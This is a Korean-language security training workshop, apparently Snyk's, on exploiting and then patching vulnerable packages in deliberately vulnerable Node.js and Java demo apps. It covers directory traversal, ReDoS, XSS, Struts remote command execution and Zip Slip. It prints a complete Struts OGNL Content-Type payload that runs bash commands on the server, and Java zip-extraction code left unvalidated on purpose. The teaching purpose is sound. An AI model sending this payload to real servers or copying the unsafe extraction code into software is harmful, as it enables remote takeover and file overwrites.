
Node.js 및 Java 애플리케이션의 다양한 취약점을 악용하는 단계별 워크숍
이 단계별 워크숍에서는 Node.js 및 Java 애플리케이션의 취약한 패키지 버전에 존재하는 다양한 실제 취약점을 공격하는 방법을 배웁니다.
이 워크숍은 2가지 방식으로 진행할 수 있습니다.
또는
이 워크숍은 의도적으로 취약하게 만든 여러 애플리케이션을 설치하고 공격하는 과정을 안내합니다. 애플리케이션은 알려진 취약점이 있는 실제 패키지를 사용하며, 여기에는 다음이 포함됩니다:
이러한 공격은 여러 애플리케이션에 존재하며, 대부분 로컬 또는 클라우드 인스턴스에 설치해야 합니다. 아래 설명은 로컬 설치를 안내하지만, 원격 클라우드 인스턴스에서도 시도해 볼 수 있습니다.
워크숍의 각 취약점 섹션에서는 취약점과 해당 패키지에 대한 정보를 제공합니다. 처음에는 힌트를 읽지 않고 시행착오를 통해 애플리케이션을 해킹해 보시기 바랍니다. 애플리케이션의 정화 과정을 속일 방법을 생각하고 해커의 마인드가 되어 보세요. 힌트는 막혔을 때를 위해 준비되어 있으니, 도움이 필요할 때 순서대로 읽어보세요. 힌트 없이 해킹을 완료할 수 있다면 훌륭합니다! 하지만 완료 후에 힌트를 읽어서 우리와 같은 방식으로 해킹했는지 확인하는 것도 좋습니다. 또한 배울 만한 작은 팁도 있을 수 있습니다.
이전 선택에 따라 적절한 설치 매뉴얼을 선택하세요.
선호하는 브라우저에서 http://localhost:3001로 이동하면 다음 페이지가 표시됩니다.

사이트를 잠시 사용해 보세요. 특히 일반 텍스트로 “Buy Milk”를 사용하거나 마크다운으로 “Buy **lots** of milk”를 사용하여 몇 가지 할 일(todo) 항목을 만들어 보세요. 또한 홈페이지 하단에서 연결된 매우 간소한 about 페이지로 이동해 보세요. 이 about 페이지를 만드는 데 사용된 CSS-foo를 감상해 보세요. 참고: 이 페이지를 더 멋지게 만드는 PR은 병합되지 않습니다 ;o)

먼저 블루(방어) 측면에서 살펴보겠습니다. goof 애플리케이션을 자신의 GitHub 계정으로 포크하세요. 애플리케이션은 GitHub에서 찾을 수 있습니다: https://github.com/snyk/goof. 애플리케이션의 직접 및 간접 종속성과 각 라이브러리의 취약점을 이해하기 위해 애플리케이션을 스캔해야 합니다. 이를 위해 https://snyk.io로 이동하여 사이트 오른쪽 상단의 "회원가입" 또는 "로그인"(이미 사용자인 경우)을 클릭하세요:

“GitHub로 로그인” 버튼을 클릭하세요:

다음으로, 이전에 클론한 goof 프로젝트를 가져옵니다. GitHub 저장소 목록에서 goof를 선택하고 창 오른쪽 상단의 "프로젝트 가져오기" 버튼을 클릭하세요.

프로젝트가 스캔되면 대시보드에서 확인할 수 있습니다:

package.json 링크를 클릭하면 보안 취약점 전체 목록이 포함된 프로젝트 페이지를 볼 수 있습니다:

issues 및 dependencies 탭을 클릭하면 취약점 및 해당 수정 사항에 대한 자세한 정보와 애플리케이션에서 이러한 취약점이 어디에서 발생하는지 확인할 수 있습니다. 취약점 목록 하단에 st 패키지의 디렉터리 트래버설 취약점이 있음을 알 수 있습니다. 이에 대해 자세히 살펴보겠습니다.

디렉터리 트래버설 공격(경로 트래버설이라고도 함)은 의도된 폴더 외부에 저장된 파일 및 디렉터리에 접근하는 것을 목표로 합니다. "점-점-슬래시"(../) 시퀀스와 그 변형을 사용하여 파일을 조작하거나 절대 파일 경로를 사용함으로써 애플리케이션 소스 코드, 구성 및 기타 중요한 시스템 파일을 포함한 파일 시스템에 저장된 임의의 파일 및 디렉터리에 접근할 수 있습니다.
디렉터리 트래버설 취약점은 일반적으로 두 가지 유형으로 나눌 수 있습니다:
goof 애플리케이션에서 디렉터리 트래버설 취약점이 포함된 패키지는 st 패키지입니다. st 문서를 살펴보고 해당 라이브러리에 익숙해지세요.
이제 디렉터리 트래버설이 무엇인지, st 패키지가 하는 일을 알게 되었으므로 애플리케이션을 해킹해 보세요 -- 이제 다시 레드 팀입니다! 애플리케이션에서 st 패키지가 사용될 수 있는 곳을 찾아보고 접근이 허용되지 않아야 할 디렉터리로 트래버설을 시도하세요.
다음은 막혔을 때 도움이 될 힌트입니다 - 직접 시도해 본 후 도움이 필요할 때만 보려고 노력하세요.
클릭하여 힌트 1 보기.
클릭하여 힌트 2 보기.
클릭하여 힌트 3 보기.
클릭하여 힌트 4 보기.
클릭하여 힌트 5 보기.
클릭하여 힌트 6 보기.
클릭하여 힌트 7 보기.
클릭하여 힌트 8 보기.
클릭하여 힌트 9 보기.
공격자처럼 파일 시스템을 탐색하여 공격자에게 보여주고 싶지 않을 민감한 정보 3개를 찾아보세요.
클릭하여 힌트 10 보기.
취약점 설명과 CVSS 점수를 확인하세요: https://snyk.io/vuln/npm:st:20140206. 이 취약점이 높음(high)이 아닌 중간(medium) 심각도인 이유는 무엇이라고 생각하나요?
snyk 프로젝트 페이지로 돌아가서 st 패키지의 디렉터리 트래버설 취약점을 찾고 수정 조언을 확인하세요. 애플리케이션에서 이 취약점으로 가는 경로가 하나뿐이며 st 패키지가 직접 종속성이므로 수정이 그리 까다롭지 않을 것입니다. st 패키지의 버전을 0.2.5로 업데이트해야 함을 알 수 있습니다. "이 취약점 수정" 버튼을 클릭하여 자동으로 수행할 수 있습니다.

취약점 목록이 표시되며, st 취약점만 선택되어 있어야 합니다. 페이지 하단으로 스크롤하여 "수정 PR 열기"를 클릭하세요:

풀 리퀘스트의 "변경된 파일" 탭에서 코드 변경 사항을 확인하세요:

새 PR 테스트가 새로운 보안 또는 라이선스 문제를 발생시키지 않았으며 통과했는지 확인하세요. 이는 PR의 conversation 탭에서 확인할 수 있습니다:

PR이 마음에 들면 변경 사항을 병합하세요.
로컬에서 애플리케이션을 실행 중인 경우 npm start를 실행한 창에서 Ctrl+C를 눌러 중지하세요. git fetch를 실행하여 GitHub에서 최신 코드를 가져옵니다. npm install을 실행하여 새 버전의 st를 다운로드한 후 npm start를 사용하여 애플리케이션을 다시 시작하세요.
다시 해킹을 시도해 보세요. 축하합니다!, 취약점을 수정했으며 이제 공용 폴더를 벗어나려고 할 때마다 홈페이지로 리디렉션됩니다.
Snyk 스캔에서 ReDoS 취약점에 대한 설명을 확인하세요:

ms 패키지의 이 취약점이 goof 애플리케이션에서 공격할 대상입니다. 다음 명령어를 사용하여 시간 문자열 표현을 포함하는 할 일 항목을 추가하세요:``` $ echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v
ms 라이브러리가 콘텐츠 입력 문자열에서 시간 패턴을 일치시켰습니다. 이는 goof 웹페이지에서 약간 다르게 표시됩니다.

ReDoS 작동 방식에 대한 지식을 활용하여 눈에 띄는 지연 또는 다른 사용자에 대한 서비스 거부를 일으키는 콘텐츠 문자열을 전달해 보세요. 요청이 처리되는 동안 웹페이지는 첫 번째 요청이 처리될 때까지 추가 요청을 버퍼링합니다.
[힌트 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint1.md)을 보려면 클릭하세요.
[힌트 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint2.md)을 보려면 클릭하세요.
[힌트 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint3.md)을 보려면 클릭하세요.
[힌트 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint4.md)을 보려면 클릭하세요.
[힌트 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint5.md)을 보려면 클릭하세요.
애플리케이션 코드에서 이 공격을 프로그래밍 방식으로 방지하려면 어떻게 해야 할지 생각해 보세요.
### 취약점 해결
snyk 프로젝트 페이지로 돌아가서 ```ms``` 패키지의 정규 표현식 서비스 거부 취약점을 찾고 해결 조언을 확인하세요. 애플리케이션에서 이 취약점으로 가는 경로는 하나뿐이며, ```ms``` 패키지는 ```humanize-ms``` 패키지에 의해 가져와진 간접 종속성임을 알 수 있습니다. ```humanize-ms``` 버전을 ```1.0.2```로 업데이트해야 합니다. 이렇게 하면 수정된 버전의 ```ms``` 패키지가 가져와집니다. "Fix this Vulnerability"를 다시 클릭하고 PR을 생성하세요.

애플리케이션을 업데이트한 후 해킹을 다시 시도해 보세요. *축하합니다!*, 취약점을 해결했습니다!
## 크로스 사이트 스크립팅 (XSS)
XSS 공격은 공격자가 피해자의 도메인 컨텍스트에서 악성 JavaScript 코드를 실행하도록 사용자의 브라우저를 속일 때 발생합니다. 이러한 스크립트는 해당 도메인의 사용자 세션 쿠키를 훔치거나, 콘텐츠를 긁거나 수정하며, 사용자를 대신하여 작업을 수행하거나 수정할 수 있습니다. 이러한 작업은 일반적으로 브라우저의 Same Origin Policy에 의해 차단됩니다.
이러한 공격은 웹 애플리케이션의 컨텍스트를 벗어나 신뢰할 수 있는 웹사이트에 악성 스크립트를 주입함으로써 가능합니다. 이러한 스크립트는 추가 속성(예: 드롭다운 목록의 "new" 옵션이나 악성 사이트로의 새 링크)을 도입할 수 있으며, 피해자도 모르게 클라이언트 측에서 코드를 실행할 수 있습니다. 이는 ```< > " '```와 같은 문자가 제대로 이스케이프되지 않을 때 발생합니다.
XSS에는 몇 가지 유형이 있습니다:
* *지속적 XSS(Persistent XSS)*는 악성 코드가 웹 앱의 데이터베이스에 지속되는 공격입니다.
* *반사형 XSS(Reflected XSS)*는 웹사이트가 요청의 일부를 그대로 반환하는 공격입니다. 공격자는 사용자가 악성 링크(예: 피싱 이메일 또는 다른 페이지의 악성 JS를 통해)를 클릭하도록 속여 XSS 공격을 트리거해야 합니다.
* *DOM 기반 XSS(DOM-based XSS)*는 클라이언트 측 JavaScript가 URL의 일부를 페이지에 그대로 반환할 때 브라우저에서만 발생하는 공격입니다. DOM 기반 XSS는 서버가 공격이 발생하는 것을 볼 기회가 없기 때문에 탐지하기가 매우 어렵습니다.
취약점은 marked 라이브러리에 존재합니다. 이 라이브러리를 사용하면 todo 입력 상자에 마크다운 텍스트를 입력하고 결과 텍스트를 굵게 표시하거나 원하는 대로 표시할 수 있습니다. 이제 이 복잡한 다중 페이지 애플리케이션에 익숙해졌으니, 취약한 패키지를 염두에 두세요.
시작으로, alert '1'을 표시해 보세요. 매우 진부하죠?
[힌트 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint1.md)을 보려면 클릭하세요.
[힌트 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint2.md)을 보려면 클릭하세요.
[힌트 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint3.md)을 보려면 클릭하세요.
[힌트 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint4.md)을 보려면 클릭하세요.
[힌트 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint5.md)을 보려면 클릭하세요.
[힌트 6](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint6.md)을 보려면 클릭하세요.
[힌트 7](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint7.md)을 보려면 클릭하세요.
[힌트 8](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint8.md)을 보려면 클릭하세요.
아래와 같이 alert을 생성하는 자바스크립트를 실행할 수 있게 되면, 좀 더 까다로운 시도를 해서 민감한 정보를 얻을 수도 있습니다!

### 취약점 해결
snyk 프로젝트 페이지로 돌아가서 ```marked``` 패키지의 XSS 취약점을 찾고 해결 조언을 확인하세요. 애플리케이션에서 이 취약점으로 가는 경로는 하나뿐이며, ```marked``` 패키지는 직접 종속성입니다. ```marked```를 버전 ```0.3.9```로 업데이트해야 합니다. "Fix this Vulnerability"를 다시 클릭하고 PR을 생성하세요.

애플리케이션을 업데이트한 후 해킹을 다시 시도하세요. 축하합니다. XSS 취약점을 해결했으며 더 이상 웹 페이지에 자바스크립트를 삽입할 수 없습니다.
# Java Goof 설치
이전 선택에 따라 적절한 설치 매뉴얼을 선택하세요
* [Docker 이미지](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_docker.md) 사용
* [로컬 머신](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_local.md)에 설치
브라우저에서 다음 URL로 이동하세요: [http://localhost:8080/](http://localhost:8080/)
이 애플리케이션이 표시됩니다. Node 애플리케이션보다 보기 좋습니다. Java가 Node보다 낫기 때문입니다. 사실입니다.

“Sign In”을 클릭하고 다음 자격 증명을 사용하세요:```
Username: [email protected]
Password: foobar
로그인하면 여러 할 일 항목이 표시됩니다. 화면 상단의 'About'을 클릭하면 애플리케이션이 Spring, Hibernate 및 Apache Struts를 사용하고 있음을 알 수 있습니다. 애플리케이션이 이 데이터를 제공해주는 것은 매우 친절하네요! 보통 웹사이트는 이렇게 친절하지 않습니다 :)
다시 블루(방어) 팀으로 돌아왔습니다. 이제 애플리케이션을 스캔하여 애플리케이션에 존재하는 직접 및 간접 종속성과 각 라이브러리의 취약점을 이해해야 합니다. Java Goof를 자신의 GitHub 계정으로 포크하세요. 애플리케이션은 GitHub에서 여기에서 찾을 수 있습니다: https://github.com/snyk/java-goof
워크숍 전반부에서 이미 Snyk 계정을 보유하고 있다면, Snyk 대시보드에 Java Goof 저장소를 추가하기만 하면 됩니다. 아직 하지 않았다면, 다음과 같이 계정을 생성하세요:
아직 방문하지 않았다면 https://snyk.io 로 이동하여 사이트 오른쪽 상단의 "Log in" 또는 "Sign up"을 클릭하세요.

"Log in with your GitHub" 버튼을 클릭하세요:

방금 전에 클론한 goof 프로젝트를 가져오세요. 아래 표시된 Integrations 링크를 클릭하세요:

여기에서 GitHub 통합을 선택하고 GitHub 저장소 목록에서 java-goof를 선택한 후 창 오른쪽 상단의 "Add selected repositories" 버튼을 클릭하세요.

프로젝트가 스캔되면 대시보드에서 확인할 수 있습니다:

todolist-web-struts/pom.xml 링크를 클릭하여 해당 프로젝트 부분의 전체 보안 취약점 목록을 확인하세요:

취약점은 org.apache.struts:struts2-core 패키지에 존재합니다.
영향받는 패키지 버전은 Jakarta Multipart 파서로 파일을 업로드할 때 임의 명령 실행(Arbitrary Command Execution)에 취약합니다. 이 특정 취약점은 공격자가 Jakarta 기반 플러그인을 사용하여 업로드 요청을 처리하는 취약한 서버에 파일을 업로드하기 위해 조작된 요청을 보냄으로써 악용될 수 있습니다.
그러면 공격자는 Content-Type, Content-Disposition 또는 Content-Length HTTP 헤더에 악성 코드를 보낼 수 있으며, 이 코드는 취약한 서버에서 실행됩니다. 공격 시나리오를 보여주는 개념 증명(Proof of Concept)이 공개적으로 제공되며, 이 취약점은 실제 환경에서 활발히 악용되고 있습니다.
오픈 소스 프로젝트 관리자가 즉시 취약점을 패치했지만, 아직 업데이트를 설치하지 않은 Struts 서버는 해커의 공격을 받고 있으며, 이들은 취약점을 악용하여 자신이 선택한 명령을 주입합니다.
이 공격은 인증 없이도 수행될 수 있습니다. 설상가상으로, 웹 애플리케이션이 이 취약점을 악용하기 위해 반드시 악성 파일을 성공적으로 업로드할 필요는 없습니다. 애플리케이션 내에 취약한 Struts 라이브러리가 존재하기만 해도 취약점을 악용할 수 있기 때문입니다.
다음은 취약점을 악용할 수 있는 예시 헤더입니다. 콘텐츠 유형이 %{로 시작하는 것에 주목하세요.```
"Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
```ProcessBuilder```가 생성되고 결과적으로 bash 명령이 실행된다는 것을 알게 될 것입니다.
애플리케이션에 HTTP GET 요청을 보내고 요청에 이 헤더를 포함시켜 애플리케이션을 해킹하세요.
보려면 [힌트 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint1.md)을 클릭하세요.
보려면 [힌트 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint2.md)을 클릭하세요.
이제 env 명령과 같은 원격 명령을 실행하여 시스템의 환경 변수를 검색했을 것입니다:

이 상태에서는 URL을 통해 머신에서 실행 권한을 얻었습니다. 다른 명령을 계속 실행하여 머신에 대해 배울 수 있는 것과 머신에서 실행할 수 있는 것을 확인하세요.
# Zip Slip
선호하는 IDE에서 새 Maven 프로젝트를 생성하세요. 비난하지 않겠습니다. ```pom.xml``` 파일에 새 종속성을 추가하세요.```xml
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>
<type>jar</type>
</dependency>
이 저장소에는 zip-slip.zip 아카이브가 있습니다. 다운로드한 후 아카이브에 대해 다음 명령을 실행하여 출력을 확인하세요. 출력을 보면 이 해킹이 어떻게 작동하는지 알게 될 것입니다.``` $ jar -tvf zip-slip.zip
## Zip Slip 취약점
Zip Slip은 아카이브에서 파일을 추출할 때 악용될 수 있는 디렉터리 트래버설(directory traversal)의 한 형태입니다. 디렉터리 트래버설 취약점의 기본 원리는 공격자가 대상 폴더 외부의 파일 시스템 영역에 접근할 수 있다는 것입니다. 그러면 공격자는 실행 파일을 덮어쓰고 원격으로 호출하거나 시스템이나 사용자가 호출할 때까지 기다려 피해자 시스템에서 원격 명령 실행을 달성할 수 있습니다. 이 취약점은 구성 파일이나 기타 중요한 리소스를 덮어써서 손상을 일으킬 수도 있으며, 클라이언트(사용자) 시스템과 서버 모두에서 악용될 수 있습니다.
이 취약점을 악용하는 데 필요한 두 가지 요소는 악성 아카이브와 유효성 검사를 수행하지 않는 추출 코드입니다. 각각을 차례로 살펴보겠습니다. 먼저, zip 파일의 내용에는 추출 시 대상 디렉터리를 벗어나는 파일이 하나 이상 포함되어야 합니다. ```zip-slip.zip``` 예제에서는 두 개의 파일, 즉 대상 디렉터리에 추출되는 ```good.txt``` 파일과 tmp 디렉터리로 디렉터리 트리를 올라가려는 ```evil.txt``` 파일을 볼 수 있습니다. 루트 디렉터리에 도달할 가능성을 높이기 위해 많은 수의 ```../``` 레벨이 있으며, 루트 디렉터리에서 ```/tmp``` 디렉터리로 이동하려고 시도합니다.
```ZipUtil```에 있는 ```zt-zip```의 압축 해제 유틸리티를 사용하여 파일을 추출하고 ```good.txt```와 ```evil.txt```가 파일 시스템의 어디에 나타나는지 확인하세요.
[힌트 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint1.md) 보기
[힌트 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint2.md) 보기
evil.txt 파일을 tmp 디렉터리에 압축 해제한 후, 취약점 정보([https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681](https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681))를 확인하세요.
### 취약점을 수정하세요!
[힌트 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint3.md) 보기
[힌트 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint4.md) 보기
이제 ```zt-zip``` 의존성에서 취약점을 해결했으므로, Java에서 이를 수행하는 데 사용할 수 있는 코드를 살펴보겠습니다. 이 예제에서는 Apache Commons IO 라이브러리를 사용하여 8번째 줄에서 파일 복사를 수행했습니다.```java
1. final String destinationDir = /* <your destination dir> */;
2. ZipFile zip = new ZipFile(/* <your zip file> */);
3. Enumeration<ZipEntry> entries = (Enumeration<ZipEntry>) zip.entries();
4. while (entries.hasMoreElements()) {
5. ZipEntry e = entries.nextElement();
6. File f = new File(destinationDir, e.getName());
7. InputStream input = zip.getInputStream(e);
8. FileUtils.copyToFile(input, f);
9. }
이전의 ZipUtil.unpack 호출을 이 코드로 바꿔 보겠습니다. 파일 시스템에서 good.txt와 evil.txt 파일을 삭제하고 애플리케이션을 다시 실행하세요. evil.txt 파일이 다시 /tmp 디렉터리에 도달하는 것을 확인할 수 있습니다.
위 코드에서 문제가 되는 줄을 식별하고 수정하세요!
보려면 클릭 Hint 5.
보려면 클릭 Hint 6.
보려면 클릭 Hint 7.
보려면 클릭 Hint 8.
보려면 클릭 Hint 9.
방어적으로 코딩된 솔루션을 완성했다면, Hint 9에 있는 최종 코드 샘플을 확인하여 자신의 버전과 비교해 보세요. 9번째 줄에 후행 파일 구분자를 포함했습니까? 이렇게 하면 디렉터리가 우리가 선택한 디렉터리 이름으로 시작하는 것이 아니라 파일을 추출하기 위해 선택한 디렉터리임을 보장합니다.
이 워크숍을 수강해 주셔서 감사합니다. 오타를 발견하거나 추가 힌트를 제안하고 싶으시면 PR을 보내 주세요!